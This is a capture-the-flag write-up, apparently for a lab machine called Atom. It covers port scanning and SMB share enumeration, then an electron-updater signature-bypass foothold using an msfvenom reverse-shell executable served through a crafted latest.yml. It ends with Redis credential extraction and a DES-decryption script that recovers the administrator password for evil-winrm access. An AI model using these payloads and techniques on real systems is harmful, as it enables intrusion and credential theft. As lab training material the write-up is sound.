Enumeration
Masscan + Nmap
1
2
3
4
5
6
7
8
9
10
11
$ masscan -p1-65535,U:1-65535 10.10.10.237 --rate=10000 -e tun0 | tee masscan.out
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-07-02 21:54:22 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.237
Discovered open port 443/tcp on 10.10.10.237
Discovered open port 5985/tcp on 10.10.10.237
Discovered open port 135/tcp on 10.10.10.237
Discovered open port 6379/tcp on 10.10.10.237
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports 10.10.10.237 -oN nmap-fullscan.out
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 03:25 IST
Nmap scan report for atom.htb (10.10.10.237)
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open redis Redis key-value store
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.78 seconds
SMB
No password authentication allowed:
1
2
3
4
5
6
7
8
9
10
11
$ smbclient -L //10.10.10.237
WARNING: no network interfaces found
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Software_Updates Disk
SMB1 disabled -- no workgroup available
Directory listing of share Software_Updates
:
1
2
3
4
5
6
7
8
9
10
$ smbclient -N //10.10.10.237/Software_Updates -c 'ls'
WARNING: no network interfaces found
. D 0 Sat Jul 3 03:22:30 2021
.. D 0 Sat Jul 3 03:22:30 2021
client1 D 0 Sat Jul 3 03:22:30 2021
client2 D 0 Sat Jul 3 03:22:30 2021
client3 D 0 Sat Jul 3 03:22:30 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 16:48:08 2021
4413951 blocks of size 4096. 1353700 blocks available
Foothold
UAT_Testing_Procedures.pdf contains the following details:
1
2
3
4
5
6
7
8
9
10
11
Heedv1.0
Internal QA Documentation
What is Heed ?
Note taking application built with electron-builder which helps users in taking important notes.
Features ?
Very limited at the moment. There’s no server interaction when creating notes. So currently it just acts as a one-tier thick client application. We are planning to move it to a full fledged two-tier architecture sometime in the future releases.
What about QA ?
We follow the below process before releasing our products.
1. Build and install the application to make sure it works as we expect it to be.
2. Make sure that the update server running is in a private hardened instance. To initiate the QA process, just place the updates in one of the "client" folders, and the appropriate QA team will test it to ensure it finds an update and installs it correctly.
3. Follow the checklist to see if all given features are working as expected by the developer.
PDF gives some hints:
- A Software named
Heed
built onelectron-builder
to help user keep notes. - Its running as a server, to initiate process, place the updates in one of the client folders. (which were available on SMB share)
Idea:
- Updates folder of Heed is shared, which means we can pass any version updates on it.
Google “electron builder heedv1.0 exploit”:
- https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html seems perfect as an exploit. It uses Signature Validation Bypass in the update and runs any binary provided.
“During a software update, the application will request a file named latest.yml from the update server, which contains the definition of the new release - including the binary filename and hashes.”
Since the ${tempUpdateFile} variable is provided unescaped to the execFile utility, an attacker could bypass the entire signature verification by triggering a parse error in the script. This can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary.
Requirements of update (latest.yml):
- Definition of the new release (Version greater than the current v1.0 )
- Binary filename (contains a single quote for triggering parse error and bypassing signature verification)
- Binary hash (calculated with
shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64
)
Exploitation
- Generate a reverse-shell spawning binary with msfvenom:
1 2 3 4 5 6 7
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4444 -f exe -o e\'xploit.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: e'xploit.exe
- Calculate binary hash:
1 2
$ shasum -a 512 e\'xploit.exe | cut -d " " -f1 | xxd -r -p | base64 Xv/cUPTmEAbue35veKzAKZTo3Gsm7NiNyNvgRHB465kFjWNvRLFs1wodNLe431tfvpHK3WVivpvoe1bK015g7A==
- latest.yml file looks like:
1 2 3
version: 1.2.3 path: http://10.10.14.25/e'xploit.exe sha512: Xv/cUPTmEAbue35veKzAKZTo3Gsm7NiNyNvgRHB465kFjWNvRLFs1wodNLe431tfvpHK3WVivpvoe1bK015g7A==
- Upload latest.yml onto the share:
1 2 3 4 5 6 7
$ smbclient -N //10.10.10.237/Software_Updates -c 'cd client1;put latest.yml;ls' putting file latest.yml as \client1\latest.yml (0.5 kb/s) (average 0.5 kb/s) . D 0 Sat Jul 3 03:12:51 2021 .. D 0 Sat Jul 3 03:12:51 2021 latest.yml A 152 Sat Jul 3 03:17:13 2021 4413951 blocks of size 4096. 1353857 blocks available
- Setup listener and get reverse shell as
atom\jason
.Privesc
- Running winpeas gave us no critical vulnerabilities to exploit.
- Redis database server running at port 6379.
- Jason’s downloads folder contains some important data.
Redis Database server
- Redis server earlier on gave authentication required:
1 2 3
$ redis-cli -h 10.10.10.237 10.10.10.237:6379> info NOAUTH Authentication required.
- Config files of redis contains a password
kidvscat_yes_kidvscat
:1 2 3 4 5 6 7 8
PS C:\> gc 'C:\Program Files\Redis\redis.windows.conf' | findstr /vi '#' requirepass kidvscat_yes_kidvscat port 6379 tcp-backlog 511 timeout 0 tcp-keepalive 0 loglevel notice logfile ""
- Authentication in redis-server:
1
$ redis-cli -h 10.10.10.237 -a 'kidvscat_yes_kidvscat'
- Running
info
shows the replication role asmaster
and dbs having4
keys:
- Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
10.10.10.237:6379> info
# Server
redis_version:3.0.504
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a4f7a6e86f2d60b3
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:WinSock_IOCP
process_id:7856
run_id:c5360b8fb5cb582295504c65629ddbb8311ea043
tcp_port:6379
uptime_in_seconds:62971
uptime_in_days:0
hz:10
lru_clock:14652949
config_file:C:\Program Files\Redis\redis.windows-service.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:694624
used_memory_human:678.34K
used_memory_rss:656848
used_memory_peak:694624
used_memory_peak_human:678.34K
used_memory_lua:36864
mem_fragmentation_ratio:0.95
mem_allocator:jemalloc-3.6.0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1625202714
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:6
total_commands_processed:2
instantaneous_ops_per_sec:0
total_net_input_bytes:140
total_net_output_bytes:5973101
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.13
used_cpu_user:0.30
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
- Listing those keys
1 2 3 4 5
10.10.10.237:6379> keys * 1) "pk:ids:MetaDataClass" 2) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff" 3) "pk:ids:User" 4) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
- Getting value of those keys, gives an encrypted password for administrator:
1 2
10.10.10.237:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 "{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
Portable-kanban
- Downloads folder contains portable-kanban which has a missing PortableKanban.pk3 file. PortableKanban.pk3 contains encrypted credentials for user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\users\jason\downloads\PortableKanban> gci
Directory: C:\users\jason\downloads\PortableKanban
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/2/2021 7:44 AM Files
d----- 4/2/2021 7:17 AM Plugins
-a---- 2/27/2013 7:06 AM 58368 CommandLine.dll
-a---- 11/8/2017 12:52 PM 141312 CsvHelper.dll
-a---- 6/22/2016 9:31 PM 456704 DotNetZip.dll
-a---- 11/23/2017 3:29 PM 23040 Itenso.Rtf.Converter.Html.dll
-a---- 11/23/2017 3:29 PM 75776 Itenso.Rtf.Interpreter.dll
-a---- 11/23/2017 3:29 PM 32768 Itenso.Rtf.Parser.dll
-a---- 11/23/2017 3:29 PM 19968 Itenso.Sys.dll
-a---- 11/23/2017 3:29 PM 376832 MsgReader.dll
-a---- 7/3/2014 10:20 PM 133296 Ookii.Dialogs.dll
-a---- 4/2/2021 8:22 PM 5920 PortableKanban.cfg
-a---- 1/4/2018 8:12 PM 118184 PortableKanban.Data.dll
-a---- 1/4/2018 8:12 PM 1878440 PortableKanban.exe
-a---- 1/4/2018 8:12 PM 31144 PortableKanban.Extensions.dll
-a---- 4/2/2021 7:21 AM 172 PortableKanban.pk3.lock
-a---- 9/6/2017 12:18 PM 413184 ServiceStack.Common.dll
-a---- 9/6/2017 12:17 PM 137216 ServiceStack.Interfaces.dll
-a---- 9/6/2017 12:02 PM 292352 ServiceStack.Redis.dll
-a---- 9/6/2017 4:38 AM 411648 ServiceStack.Text.dll
-a---- 1/4/2018 8:14 PM 1050092 User Guide.pdf
- The user-data from redis matches the format of PortableKanban.pk3 file:
1 2 3 4 5 6 7 8 9 10 11
$ cat redis-user-key | sed 's/\\//g;s/^"//;s/"$//' | jq { "Id": "e8e29158d70d44b1a1ba4949d52790a0", "Name": "Administrator", "Initials": "", "Email": "", "EncryptedPassword": "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi", "Role": "Admin", "Inactive": false, "TimeStamp": 637530169606440200 }
- Exploit-db contains a
PortableKanban Encrypted Password Retrieval
: https://www.exploit-db.com/exploits/49409 But the python script expects aPortableKanban.pk3
formatted file.
Method 1
I transferred the portable-kanban directory present in the box to a local Windows VM. Tried to make a pk3 file and modify it. But the configuration tries to find a local server running on 6379 (redis on atom) which isn’t on my VM.
- Remove .cfg and .pk3.lock file then start portablekanban.exe
- Choose create a local file, which will make a .pk3 file and .pk3.bak
- Logon with user Administrator with no password Or you can get kanban from: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
PortableKanban.pk3 looks like with the users data from redis database:
- Changed the no password username to
caretaker-admin
just to differentiate users and keeping the Id same works.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
$ cat PortableKanban.pk3 | jq { "Columns": [], "Tasks": [], "TimeTracks": [], "Persons": [], "Topics": [], "Tags": [], "Views": [], "Users": [ { "Id": "e8e29158d70d44b1a1ba4949d52790a0", "Name": "caretaker-admin", "Initials": "", "Email": "", "EncryptedPassword": "", "Role": "Admin", "Inactive": false, "TimeStamp": 637608661388664800 }, { "Id": "e8e29158d70d44b1a1ba4949d52790a0", "Name": "Administrator", "Initials": "", "Email": "", "EncryptedPassword": "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi", "Role": "Admin", "Inactive": false, "TimeStamp": 637530169606440200 } ], "ServiceMessages": [], "CustomFieldDescriptors": [], "MetaData": { "Id": "ffffffffffffffffffffffffffffffff", "SchemaVersion": "4.2.0.0", "SchemaVersionModified": "/Date(1625269320000+0530)/", "SchemaVersionModifiedBy": "e8e29158d70d44b1a1ba4949d52790a0", "SchemaVersionChecked": "/Date(-62135596800000-0000)/", "SchemaVersionCheckedBy": "00000000000000000000000000000000", "TimeStamp": 637608661419764600 } }
- Login with
caretaker-admin
and no password - Go to settings, uncheck the “Hide passwords” option: Password for
Administrator\atom
iskidvscat_admin_@123
Method 2
You can even crack the password with exploit-db’s python script. PortableKanban.pk3:
1
{"Columns":[],"Tasks":[],"TimeTracks":[],"Persons":[],"Topics":[],"Tags":[],"Views":[],"Users":[{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}],"ServiceMessages":[],"CustomFieldDescriptors":[],"MetaData":{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1625269320000+0530)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-62135596800000-0000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637608661419764547}}
Decrypt password:
1
2
$ python3 49409.py ./PortableKanban.pk3
Administrator:kidvscat_admin_@123
Method 3
You can modify the whole script to decrypt encrypted password without ever installing Kanban in the first place.
1
2
3
4
5
6
7
8
import sys
from des import *
import base64
hash = sys.argv[1]
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
Run:
1
2
$ python3 modified_exploit.py Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
kidvscat_admin_@123
Get Administrator with evil-winrm
:
1
2
3
4
5
6
7
$ evil-winrm -i 10.10.10.237 -u administrator -p 'kidvscat_admin_@123'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator